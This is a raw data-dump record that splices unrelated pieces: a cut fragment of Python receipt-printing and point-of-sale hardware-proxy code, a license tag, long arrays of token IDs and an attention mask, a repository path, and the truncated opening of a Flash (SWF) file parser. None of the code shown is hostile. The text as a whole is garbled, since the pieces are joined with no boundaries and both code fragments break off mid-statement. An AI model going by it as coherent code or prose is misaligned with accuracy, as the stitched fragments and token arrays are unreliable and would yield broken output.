eprint.text(printline(tax['tax']['name'],price(tax['amount']), width=40,ratio=0.6)) # Receipt Header if receipt['company']['logo']: eprint.set(align='center') eprint.print_base64_image(receipt['company']['logo']) eprint.text('\n') else: eprint.set(align='center',type='b',height=2,width=2) eprint.text(receipt['company']['name'] + '\n') eprint.set(align='center',type='b') if check(receipt['company']['contact_address']): eprint.text(receipt['company']['contact_address'] + '\n') if check(receipt['company']['phone']): eprint.text('Tel:' + receipt['company']['phone'] + '\n') if check(receipt['company']['vat']): eprint.text('VAT:' + receipt['company']['vat'] + '\n') if check(receipt['company']['email']): eprint.text(receipt['company']['email'] + '\n') if check(receipt['company']['website']): eprint.text(receipt['company']['website'] + '\n') if check(receipt['header']): eprint.text(receipt['header']+'\n') if check(receipt['cashier']): eprint.text('-'*32+'\n') eprint.text('Served by '+receipt['cashier']+'\n') # Orderlines eprint.text('\n\n') eprint.set(align='center') for line in receipt['orderlines']: pricestr = price(line['price_display']) if line['discount'] == 0 and line['unit_name'] == 'Unit(s)' and line['quantity'] == 1: eprint.text(printline(line['product_name'],pricestr,ratio=0.6)) else: eprint.text(printline(line['product_name'],ratio=0.6)) if line['discount'] != 0: eprint.text(printline('Discount: '+str(line['discount'])+'%', ratio=0.6, indent=2)) if line['unit_name'] == 'Unit(s)': eprint.text( printline( quantity(line['quantity']) + ' x ' + price(line['price']), pricestr, ratio=0.6, indent=2)) else: eprint.text( printline( quantity(line['quantity']) + line['unit_name'] + ' x ' + price(line['price']), pricestr, ratio=0.6, indent=2)) # Subtotal if the taxes are not included taxincluded = True if money(receipt['subtotal']) != money(receipt['total_with_tax']): eprint.text(printline('','-------')); eprint.text(printline(_('Subtotal'),money(receipt['subtotal']),width=40, ratio=0.6)) print_taxes() #eprint.text(printline(_('Taxes'),money(receipt['total_tax']),width=40, ratio=0.6)) taxincluded = False # Total eprint.text(printline('','-------')); eprint.set(align='center',height=2) eprint.text(printline(_(' TOTAL'),money(receipt['total_with_tax']),width=40, ratio=0.6)) eprint.text('\n\n'); # Paymentlines eprint.set(align='center') for line in receipt['paymentlines']: eprint.text(printline(line['journal'], money(line['amount']), ratio=0.6)) eprint.text('\n'); eprint.set(align='center',height=2) eprint.text(printline(_(' CHANGE'),money(receipt['change']),width=40, ratio=0.6)) eprint.set(align='center') eprint.text('\n'); # Extra Payment info if receipt['total_discount'] != 0: eprint.text(printline(_('Discounts'),money(receipt['total_discount']),width=40, ratio=0.6)) if taxincluded: print_taxes() #eprint.text(printline(_('Taxes'),money(receipt['total_tax']),width=40, ratio=0.6)) # Footer if check(receipt['footer']): eprint.text('\n'+receipt['footer']+'\n\n') eprint.text(receipt['name']+'\n') eprint.text( str(receipt['date']['date']).zfill(2) +'/'+ str(receipt['date']['month']+1).zfill(2) +'/'+ str(receipt['date']['year']).zfill(4) +' '+ str(receipt['date']['hour']).zfill(2) +':'+ str(receipt['date']['minute']).zfill(2) ) driver = EscposDriver() driver.push_task('printstatus') hw_proxy.drivers['escpos'] = driver class EscposProxy(hw_proxy.Proxy): @http.route('/hw_proxy/open_cashbox', type='json', auth='none', cors='*') def open_cashbox(self): _logger.info('ESC/POS: OPEN CASHBOX') driver.push_task('cashbox') @http.route('/hw_proxy/print_receipt', type='json', auth='none', cors='*') def print_receipt(self, receipt): _logger.info('ESC/POS: PRINT RECEIPT') driver.push_task('receipt',receipt) @http.route('/hw_proxy/print_xml_receipt', type='json', auth='none', cors='*') def print_xml_receipt(self, receipt): _logger.info('ESC/POS: PRINT XML RECEIPT') driver.push_task('xml_receipt',receipt) @http.route('/hw_proxy/escpos/add_supported_device', type='http', auth='none', cors='*') def add_supported_device(self, device_string): _logger.info('ESC/POS: ADDED NEW DEVICE:'+device_string) driver.add_supported_device(device_string) return "The device:\n"+device_string+"\n has been added to the list of supported devices.<br/><a href='/hw_proxy/status'>Ok</a>" @http.route('/hw_proxy/escpos/reset_supported_devices', type='http', auth='none', cors='*') def reset_supported_devices(self): try: os.remove('escpos_devices.pickle') except Exception as e: pass return 'The list of supported devices has been reset to factory defaults.<br/><a href="/hw_proxy/status">Ok</a>'
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 3718, 199, 646, 2050, 199, 646, 13804, 199, 646, 747, 199, 646, 747, 14, 515, 199, 646, 5890, 199, 646, 1300, 772, 199, 646, 5166, 199, 646, 900, 199, 646, 2196, 199, 646, 3473, 199, 646, 6128, 21, 199, 646, 5166, 14, 10788, 14, 8090, 63, 3280, 14, 20531, 14, 973, 465, 12073, 63, 3280, 199, 646, 5927, 199, 646, 295, 199, 646, 3873, 199, 646, 5190, 199, 504, 5796, 492, 11086, 12, 15536, 199, 504, 10703, 492, 10703, 12, 9630, 199, 199, 893, 26, 272, 492, 27923, 14, 1018, 199, 2590, 3545, 26, 272, 27923, 275, 488, 199, 199, 893, 26, 272, 687, 2508, 492, 14683, 1712, 272, 687, 2508, 19303, 1712, 492, 16639, 272, 687, 2508, 19303, 1712, 492, 3748, 63, 6410, 199, 2590, 3545, 26, 272, 14683, 1712, 275, 16639, 275, 488, 199, 199, 504, 14937, 492, 6047, 199, 199, 504, 5166, 492, 1455, 199, 504, 5166, 14, 1014, 492, 1056, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 662, 551, 1712, 6158, 8, 4436, 304, 272, 347, 636, 826, 721, 277, 304, 267, 11086, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 10703, 342, 267, 291, 14, 831, 221, 275, 15536, 342, 267, 291, 14, 1205, 275, 791, 1205, 5242, 2242, 316, 297, 283, 3431, 356, 8607, 93, 339, 347, 3748, 63, 6410, 8, 277, 304, 267, 340, 440, 747, 14, 515, 14, 6292, 360, 19303, 1712, 63, 6410, 14, 8092, 735, 288, 372, 3748, 63, 6410, 14, 1782, 63, 513, 267, 587, 26, 288, 862, 26, 355, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 82, 358, 355, 372, 5927, 14, 912, 8, 70, 9, 355, 289, 14, 1600, 342, 288, 871, 2186, 465, 325, 26, 355, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 355, 372, 3748, 63, 6410, 14, 1782, 63, 513, 339, 347, 1050, 63, 4946, 63, 1782, 8, 277, 12, 1782, 63, 875, 304, 267, 519, 275, 295, 14, 2014, 11894, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 20, 93, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 20, 93, 11339, 267, 1336, 275, 519, 14, 1733, 8, 1782, 63, 875, 9, 267, 340, 1336, 26, 288, 1336, 275, 1336, 14, 923, 1252, 1294, 11633, 288, 20868, 275, 1109, 8, 1431, 59, 16, 467, 975, 9, 288, 3336, 275, 1109, 8, 1431, 59, 17, 467, 975, 9, 288, 536, 275, 2243, 63, 875, 14, 1294, 360, 998, 358, 288, 340, 822, 8, 354, 9, 2356, 499, 26, 355, 536, 275, 536, 59, 17, 61, 288, 587, 26, 355, 536, 275, 536, 59, 16, 61, 288, 485, 2921, 14, 815, 360, 654, 35, 15, 9263, 26, 7791, 2291, 367, 2243, 26, 6681, 1431, 59, 16, 2807, 5242, 11, 1431, 59, 17, 28012, 6681, 354, 9, 7846, 2243, 63, 513, 275, 3748, 63, 6410, 14, 1782, 63, 513, 5873, 288, 340, 747, 14, 515, 14, 6292, 360, 19303, 1712, 63, 6410, 14, 8092, 735, 355, 862, 26, 490, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 82, 358, 490, 2243, 63, 513, 275, 5927, 14, 912, 8, 70, 9, 490, 289, 14, 1600, 342, 355, 871, 2186, 465, 325, 26, 490, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 288, 2243, 63, 513, 14, 740, 2561, 355, 283, 9884, 356, 20868, 12, 355, 283, 2558, 356, 3336, 12, 355, 283, 354, 356, 536, 12, 288, 3828, 953, 862, 26, 355, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 87, 13854, 355, 289, 14, 5507, 8, 16, 9, 355, 5927, 14, 2724, 8, 1782, 63, 513, 12, 70, 9, 355, 289, 14, 1600, 342, 288, 871, 2186, 465, 325, 26, 355, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 339, 347, 8539, 63, 17411, 63, 6410, 8, 277, 304, 267, 8539, 275, 942, 2728, 367, 2243, 315, 291, 14, 4946, 63, 6410, 837, 288, 340, 27923, 14, 1018, 14, 1623, 8, 344, 27111, 29, 1782, 459, 9884, 995, 1305, 5884, 29, 1782, 459, 2558, 1105, 1137, 488, 26, 355, 8539, 14, 740, 8, 1782, 9, 267, 372, 8539, 339, 347, 14233, 928, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 340, 440, 291, 14, 374, 23692, 837, 355, 291, 14, 10824, 275, 715, 355, 291, 14, 928, 342, 2286, 347, 664, 63, 19303, 1712, 63, 11835, 8, 277, 304, 267, 862, 26, 288, 5448, 11005, 275, 291, 14, 7113, 63, 17411, 63, 6410, 342, 288, 340, 822, 8, 24858, 9, 690, 378, 26, 355, 291, 14, 409, 63, 1205, 360, 7113, 1673, 16382, 370, 6681, 24858, 59, 16, 2733, 354, 1105, 355, 372, 14683, 1712, 14, 11835, 14, 53, 9264, 8, 24858, 59, 16, 2733, 9884, 995, 5448, 11005, 59, 16, 2733, 2558, 1105, 288, 587, 26, 355, 291, 14, 409, 63, 1205, 360, 27476, 1673, 14131, 2832, 2643, 358, 355, 372, 488, 267, 871, 2186, 465, 325, 26, 288, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 288, 372, 488, 339, 347, 664, 63, 1205, 8, 277, 304, 267, 291, 14, 5335, 63, 1765, 360, 1205, 358, 267, 372, 291, 14, 1205, 16478, 347, 1551, 63, 20084, 1977, 8, 277, 12, 11835, 304, 267, 16639, 14, 20084, 5485, 8, 18, 9, 267, 16639, 14, 20084, 5485, 8, 21, 9, 339, 347, 663, 63, 1205, 8, 277, 12, 2004, 12, 1245, 275, 488, 304, 267, 485, 2921, 14, 815, 8, 1205, 4786, 520, 6681, 334, 1188, 503, 283, 889, 1245, 1333, 267, 340, 2004, 508, 291, 14, 1205, 459, 1205, 2565, 288, 340, 1245, 1137, 488, 436, 334, 552, 8, 277, 14, 1205, 459, 3431, 1105, 508, 378, 503, 1245, 1137, 291, 14, 1205, 459, 3431, 31942, 17, 4682, 355, 291, 14, 1205, 459, 3431, 2278, 740, 8, 1188, 9, 267, 587, 26, 288, 291, 14, 1205, 459, 1205, 418, 275, 2004, 288, 340, 1245, 26, 355, 291, 14, 1205, 459, 3431, 418, 275, 359, 1188, 61, 288, 587, 26 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 3718, 199, 646, 2050, 199, 646, 13804, 199, 646, 747, 199, 646, 747, 14, 515, 199, 646, 5890, 199, 646, 1300, 772, 199, 646, 5166, 199, 646, 900, 199, 646, 2196, 199, 646, 3473, 199, 646, 6128, 21, 199, 646, 5166, 14, 10788, 14, 8090, 63, 3280, 14, 20531, 14, 973, 465, 12073, 63, 3280, 199, 646, 5927, 199, 646, 295, 199, 646, 3873, 199, 646, 5190, 199, 504, 5796, 492, 11086, 12, 15536, 199, 504, 10703, 492, 10703, 12, 9630, 199, 199, 893, 26, 272, 492, 27923, 14, 1018, 199, 2590, 3545, 26, 272, 27923, 275, 488, 199, 199, 893, 26, 272, 687, 2508, 492, 14683, 1712, 272, 687, 2508, 19303, 1712, 492, 16639, 272, 687, 2508, 19303, 1712, 492, 3748, 63, 6410, 199, 2590, 3545, 26, 272, 14683, 1712, 275, 16639, 275, 488, 199, 199, 504, 14937, 492, 6047, 199, 199, 504, 5166, 492, 1455, 199, 504, 5166, 14, 1014, 492, 1056, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 662, 551, 1712, 6158, 8, 4436, 304, 272, 347, 636, 826, 721, 277, 304, 267, 11086, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 10703, 342, 267, 291, 14, 831, 221, 275, 15536, 342, 267, 291, 14, 1205, 275, 791, 1205, 5242, 2242, 316, 297, 283, 3431, 356, 8607, 93, 339, 347, 3748, 63, 6410, 8, 277, 304, 267, 340, 440, 747, 14, 515, 14, 6292, 360, 19303, 1712, 63, 6410, 14, 8092, 735, 288, 372, 3748, 63, 6410, 14, 1782, 63, 513, 267, 587, 26, 288, 862, 26, 355, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 82, 358, 355, 372, 5927, 14, 912, 8, 70, 9, 355, 289, 14, 1600, 342, 288, 871, 2186, 465, 325, 26, 355, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 355, 372, 3748, 63, 6410, 14, 1782, 63, 513, 339, 347, 1050, 63, 4946, 63, 1782, 8, 277, 12, 1782, 63, 875, 304, 267, 519, 275, 295, 14, 2014, 11894, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 20, 93, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 20, 93, 11339, 267, 1336, 275, 519, 14, 1733, 8, 1782, 63, 875, 9, 267, 340, 1336, 26, 288, 1336, 275, 1336, 14, 923, 1252, 1294, 11633, 288, 20868, 275, 1109, 8, 1431, 59, 16, 467, 975, 9, 288, 3336, 275, 1109, 8, 1431, 59, 17, 467, 975, 9, 288, 536, 275, 2243, 63, 875, 14, 1294, 360, 998, 358, 288, 340, 822, 8, 354, 9, 2356, 499, 26, 355, 536, 275, 536, 59, 17, 61, 288, 587, 26, 355, 536, 275, 536, 59, 16, 61, 288, 485, 2921, 14, 815, 360, 654, 35, 15, 9263, 26, 7791, 2291, 367, 2243, 26, 6681, 1431, 59, 16, 2807, 5242, 11, 1431, 59, 17, 28012, 6681, 354, 9, 7846, 2243, 63, 513, 275, 3748, 63, 6410, 14, 1782, 63, 513, 5873, 288, 340, 747, 14, 515, 14, 6292, 360, 19303, 1712, 63, 6410, 14, 8092, 735, 355, 862, 26, 490, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 82, 358, 490, 2243, 63, 513, 275, 5927, 14, 912, 8, 70, 9, 490, 289, 14, 1600, 342, 355, 871, 2186, 465, 325, 26, 490, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 288, 2243, 63, 513, 14, 740, 2561, 355, 283, 9884, 356, 20868, 12, 355, 283, 2558, 356, 3336, 12, 355, 283, 354, 356, 536, 12, 288, 3828, 953, 862, 26, 355, 289, 275, 1551, 360, 19303, 1712, 63, 6410, 14, 8092, 1673, 87, 13854, 355, 289, 14, 5507, 8, 16, 9, 355, 5927, 14, 2724, 8, 1782, 63, 513, 12, 70, 9, 355, 289, 14, 1600, 342, 288, 871, 2186, 465, 325, 26, 355, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 339, 347, 8539, 63, 17411, 63, 6410, 8, 277, 304, 267, 8539, 275, 942, 2728, 367, 2243, 315, 291, 14, 4946, 63, 6410, 837, 288, 340, 27923, 14, 1018, 14, 1623, 8, 344, 27111, 29, 1782, 459, 9884, 995, 1305, 5884, 29, 1782, 459, 2558, 1105, 1137, 488, 26, 355, 8539, 14, 740, 8, 1782, 9, 267, 372, 8539, 339, 347, 14233, 928, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 340, 440, 291, 14, 374, 23692, 837, 355, 291, 14, 10824, 275, 715, 355, 291, 14, 928, 342, 2286, 347, 664, 63, 19303, 1712, 63, 11835, 8, 277, 304, 267, 862, 26, 288, 5448, 11005, 275, 291, 14, 7113, 63, 17411, 63, 6410, 342, 288, 340, 822, 8, 24858, 9, 690, 378, 26, 355, 291, 14, 409, 63, 1205, 360, 7113, 1673, 16382, 370, 6681, 24858, 59, 16, 2733, 354, 1105, 355, 372, 14683, 1712, 14, 11835, 14, 53, 9264, 8, 24858, 59, 16, 2733, 9884, 995, 5448, 11005, 59, 16, 2733, 2558, 1105, 288, 587, 26, 355, 291, 14, 409, 63, 1205, 360, 27476, 1673, 14131, 2832, 2643, 358, 355, 372, 488, 267, 871, 2186, 465, 325, 26, 288, 291, 14, 409, 63, 1205, 360, 705, 297, 495, 8, 69, 430, 288, 372, 488, 339, 347, 664, 63, 1205, 8, 277, 304, 267, 291, 14, 5335, 63, 1765, 360, 1205, 358, 267, 372, 291, 14, 1205, 16478, 347, 1551, 63, 20084, 1977, 8, 277, 12, 11835, 304, 267, 16639, 14, 20084, 5485, 8, 18, 9, 267, 16639, 14, 20084, 5485, 8, 21, 9, 339, 347, 663, 63, 1205, 8, 277, 12, 2004, 12, 1245, 275, 488, 304, 267, 485, 2921, 14, 815, 8, 1205, 4786, 520, 6681, 334, 1188, 503, 283, 889, 1245, 1333, 267, 340, 2004, 508, 291, 14, 1205, 459, 1205, 2565, 288, 340, 1245, 1137, 488, 436, 334, 552, 8, 277, 14, 1205, 459, 3431, 1105, 508, 378, 503, 1245, 1137, 291, 14, 1205, 459, 3431, 31942, 17, 4682, 355, 291, 14, 1205, 459, 3431, 2278, 740, 8, 1188, 9, 267, 587, 26, 288, 291, 14, 1205, 459, 1205, 418, 275, 2004, 288, 340, 1245, 26, 355, 291, 14, 1205, 459, 3431, 418, 275, 359, 1188, 61, 288, 587, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Yukinoshita47/Yuki-Chan-The-Auto-Pentest
Module/metagoofil/hachoir_parser/container/swf.py
84
16477
""" SWF (Macromedia/Adobe Flash) file parser. Documentation: - Alexis' SWF Reference: http://www.m2osw.com/swf_alexref.html - http://www.half-serious.com/swf/format/ - http://www.anotherbigidea.com/javaswf/ - http://www.gnu.org/software/gnash/ Author: Victor Stinner Creation date: 29 october 2006 """ from hachoir_parser import Parser from hachoir_core.field import (FieldSet, ParserError, Bit, Bits, UInt8, UInt16, Int32, UInt32, Int64, CString, Enum, Bytes, RawBytes, NullBits, String, SubFile) from hachoir_core.endian import LITTLE_ENDIAN, BIG_ENDIAN from hachoir_core.text_handler import textHandler, filesizeHandler from hachoir_core.tools import paddingSize, humanFrequency from hachoir_parser.image.common import RGB from hachoir_parser.image.jpeg import JpegChunk, JpegFile from hachoir_core.stream import StringInputStream, ConcatStream from hachoir_parser.common.deflate import Deflate, has_deflate from hachoir_parser.container.action_script import parseActionScript, parseABC import math # Maximum file size (50 MB) MAX_FILE_SIZE = 50 * 1024 * 1024 TWIPS = 20 class RECT(FieldSet): endian = BIG_ENDIAN def createFields(self): yield Bits(self, "nbits", 5) nbits = self["nbits"].value if not nbits: raise ParserError("SWF parser: Invalid RECT field size (0)") yield Bits(self, "xmin", nbits, "X minimum in twips") yield Bits(self, "xmax", nbits, "X maximum in twips") yield Bits(self, "ymin", nbits, "Y minimum in twips") yield Bits(self, "ymax", nbits, "Y maximum in twips") size = paddingSize(self.current_size, 8) if size: yield NullBits(self, "padding", size) def getWidth(self): return math.ceil(float(self["xmax"].value) / TWIPS) def getHeight(self): return math.ceil(float(self["ymax"].value) / TWIPS) def createDescription(self): return "Rectangle: %ux%u" % (self.getWidth(), self.getHeight()) class FixedFloat16(FieldSet): def createFields(self): yield UInt8(self, "float_part") yield UInt8(self, "int_part") def createValue(self): return self["int_part"].value + float(self["float_part"].value) / 256 def parseBackgroundColor(parent, size): yield RGB(parent, "color") def bit2hertz(field): return humanFrequency(5512.5 * (2 ** field.value)) SOUND_CODEC_MP3 = 2 SOUND_CODEC = { 0: "RAW", 1: "ADPCM", SOUND_CODEC_MP3: "MP3", 3: "Uncompressed", 6: "Nellymoser", } class SoundEnvelope(FieldSet): def createFields(self): yield UInt8(self, "count") for index in xrange(self["count"].value): yield UInt32(self, "mark44[]") yield UInt16(self, "level0[]") yield UInt16(self, "level1[]") def parseSoundBlock(parent, size): # TODO: Be able to get codec... Need to know last sound "def_sound[]" field # if not (...)sound_header: # raise ParserError("Sound block without header") if True: #sound_header == SOUND_CODEC_MP3: yield UInt16(parent, "samples") yield UInt16(parent, "left") size = (parent.size - parent.current_size) // 8 if size: yield RawBytes(parent, "music_data", size) def parseStartSound(parent, size): yield UInt16(parent, "sound_id") yield Bit(parent, "has_in_point") yield Bit(parent, "has_out_point") yield Bit(parent, "has_loops") yield Bit(parent, "has_envelope") yield Bit(parent, "no_multiple") yield Bit(parent, "stop_playback") yield NullBits(parent, "reserved", 2) if parent["has_in_point"].value: yield UInt32(parent, "in_point") if parent["has_out_point"].value: yield UInt32(parent, "out_point") if parent["has_loops"].value: yield UInt16(parent, "loop_count") if parent["has_envelope"].value: yield SoundEnvelope(parent, "envelope") def parseDefineSound(parent, size): yield UInt16(parent, "sound_id") yield Bit(parent, "is_stereo") yield Bit(parent, "is_16bit") yield textHandler(Bits(parent, "rate", 2), bit2hertz) yield Enum(Bits(parent, "codec", 4), SOUND_CODEC) yield UInt32(parent, "sample_count") if parent["codec"].value == SOUND_CODEC_MP3: yield UInt16(parent, "len") size = (parent.size - parent.current_size) // 8 if size: yield RawBytes(parent, "music_data", size) def parseSoundHeader(parent, size): yield Bit(parent, "playback_is_stereo") yield Bit(parent, "playback_is_16bit") yield textHandler(Bits(parent, "playback_rate", 2), bit2hertz) yield NullBits(parent, "reserved", 4) yield Bit(parent, "sound_is_stereo") yield Bit(parent, "sound_is_16bit") yield textHandler(Bits(parent, "sound_rate", 2), bit2hertz) yield Enum(Bits(parent, "codec", 4), SOUND_CODEC) yield UInt16(parent, "sample_count") if parent["codec"].value == 2: yield UInt16(parent, "latency_seek") class JpegHeader(FieldSet): endian = BIG_ENDIAN def createFields(self): count = 1 while True: chunk = JpegChunk(self, "jpeg_chunk[]") yield chunk if 1 < count and chunk["type"].value in (JpegChunk.TAG_SOI, JpegChunk.TAG_EOI): break count += 1 def parseJpeg(parent, size): yield UInt16(parent, "char_id", "Character identifier") size -= 2 code = parent["code"].value if code != Tag.TAG_BITS: if code == Tag.TAG_BITS_JPEG3: yield UInt32(parent, "alpha_offset", "Character identifier") size -= 4 addr = parent.absolute_address + parent.current_size + 16 if parent.stream.readBytes(addr, 2) in ("\xff\xdb", "\xff\xd8"): header = JpegHeader(parent, "jpeg_header") yield header hdr_size = header.size // 8 size -= hdr_size else: hdr_size = 0 if code == Tag.TAG_BITS_JPEG3: img_size = parent["alpha_offset"].value - hdr_size else: img_size = size else: img_size = size yield SubFile(parent, "image", img_size, "JPEG picture", parser=JpegFile) if code == Tag.TAG_BITS_JPEG3: size = (parent.size - parent.current_size) // 8 yield RawBytes(parent, "alpha", size, "Image data") def parseVideoFrame(parent, size): yield UInt16(parent, "stream_id") yield UInt16(parent, "frame_num") if 4 < size: yield RawBytes(parent, "video_data", size-4) class Export(FieldSet): def createFields(self): yield UInt16(self, "object_id") yield CString(self, "name") def parseExport(parent, size): yield UInt16(parent, "count") for index in xrange(parent["count"].value): yield Export(parent, "export[]") def parseProductInfo(parent, size): yield Int32(parent, "product_id") yield Int32(parent, "edition") yield UInt8(parent, "major_version") yield UInt8(parent, "minor_version") yield Int64(parent, "build_number") yield Int64(parent, "compilation_date") def parseScriptLimits(parent, size): yield UInt16(parent, "max_recursion_limit") yield UInt16(parent, "timeout_seconds", "Seconds of processing until the SWF is considered 'stuck'") def parseSymbolClass(parent, size): yield UInt16(parent, "count") for index in xrange(parent["count"].value): yield UInt16(parent, "symbol_id[]") yield CString(parent, "symbol_name[]") def parseBinaryData(parent, size): yield UInt16(parent, "data_id") yield UInt32(parent, "reserved") if size > 6: yield RawBytes(parent, "data", size-6) class Tag(FieldSet): TAG_BITS = 6 TAG_BITS_JPEG2 = 32 TAG_BITS_JPEG3 = 35 TAG_DO_ABC_DEFINE = 82 TAG_INFO = { # SWF version 1.0 0: ("end[]", "End", None), 1: ("show_frame[]", "Show frame", None), 2: ("def_shape[]", "Define shape", None), 3: ("free_char[]", "Free character", None), 4: ("place_obj[]", "Place object", None), 5: ("remove_obj[]", "Remove object", None), 6: ("def_bits[]", "Define bits", parseJpeg), 7: ("def_but[]", "Define button", None), 8: ("jpg_table", "JPEG tables", None), 9: ("bkgd_color[]", "Set background color", parseBackgroundColor), 10: ("def_font[]", "Define font", None), 11: ("def_text[]", "Define text", None), 12: ("action[]", "Action script", parseActionScript), 13: ("def_font_info[]", "Define font info", None), # SWF version 2.0 14: ("def_sound[]", "Define sound", parseDefineSound), 15: ("start_sound[]", "Start sound", parseStartSound), 16: ("stop_sound[]", "Stop sound", None), 17: ("def_but_sound[]", "Define button sound", None), 18: ("sound_hdr", "Sound stream header", parseSoundHeader), 19: ("sound_blk[]", "Sound stream block", parseSoundBlock), 20: ("def_bits_lossless[]", "Define bits lossless", None), 21: ("def_bits_jpeg2[]", "Define bits JPEG 2", parseJpeg), 22: ("def_shape2[]", "Define shape 2", None), 23: ("def_but_cxform[]", "Define button CXFORM", None), 24: ("protect", "File is protected", None), # SWF version 3.0 25: ("path_are_ps[]", "Paths are Postscript", None), 26: ("place_obj2[]", "Place object 2", None), 28: ("remove_obj2[]", "Remove object 2", None), 29: ("sync_frame[]", "Synchronize frame", None), 31: ("free_all[]", "Free all", None), 32: ("def_shape3[]", "Define shape 3", None), 33: ("def_text2[]", "Define text 2", None), 34: ("def_but2[]", "Define button2", None), 35: ("def_bits_jpeg3[]", "Define bits JPEG 3", parseJpeg), 36: ("def_bits_lossless2[]", "Define bits lossless 2", None), 39: ("def_sprite[]", "Define sprite", None), 40: ("name_character[]", "Name character", None), 41: ("product_info", "Generator product info", parseProductInfo), 42: ("generator_text[]", "Generator text", None), 43: ("frame_label[]", "Frame label", None), 45: ("sound_hdr2[]", "Sound stream header2", parseSoundHeader), 46: ("def_morph_shape[]", "Define morph shape", None), 47: ("gen_frame[]", "Generate frame", None), 48: ("def_font2[]", "Define font 2", None), 49: ("tpl_command[]", "Template command", None), # SWF version 4.0 37: ("def_text_field[]", "Define text field", None), 38: ("def_quicktime_movie[]", "Define QuickTime movie", None), # SWF version 5.0 50: ("def_cmd_obj[]", "Define command object", None), 51: ("flash_generator", "Flash generator", None), 52: ("gen_ext_font[]", "Gen external font", None), 56: ("export[]", "Export", parseExport), 57: ("import[]", "Import", None), 58: ("ebnable_debug", "Enable debug", None), # SWF version 6.0 59: ("do_init_action[]", "Do init action", None), 60: ("video_str[]", "Video stream", None), 61: ("video_frame[]", "Video frame", parseVideoFrame), 62: ("def_font_info2[]", "Define font info 2", None), 63: ("mx4[]", "MX4", None), 64: ("enable_debug2", "Enable debugger 2", None), # SWF version 7.0 65: ("script_limits[]", "Script limits", parseScriptLimits), 66: ("tab_index[]", "Set tab index", None), # SWF version 8.0 69: ("file_attr[]", "File attributes", None), 70: ("place_obj3[]", "Place object 3", None), 71: ("import2[]", "Import a definition list from another movie", None), 73: ("def_font_align[]", "Define font alignment zones", None), 74: ("csm_txt_set[]", "CSM text settings", None), 75: ("def_font3[]", "Define font text 3", None), 77: ("metadata[]", "XML code describing the movie", None), 78: ("def_scale_grid[]", "Define scaling factors", None), 83: ("def_shape4[]", "Define shape 4", None), 84: ("def_morph2[]", "Define a morphing shape 2", None), # SWF version 9.0 72: ("do_abc[]", "SWF 9 ActionScript container; actions only", parseABC), 76: ("symbol_class[]", "Instantiate objects from a set of classes", parseSymbolClass), 82: ("do_abc_define[]", "SWF 9 ActionScript container; identifier, name, actions", parseABC), 86: ("def_scene_frame[]", "Define raw data for scenes and frames", None), 87: ("def_binary_data[]", "Defines a buffer of any size with any binary user data", parseBinaryData), 88: ("def_font_name[]", "Define the legal font name and copyright", None), } def __init__(self, *args): FieldSet.__init__(self, 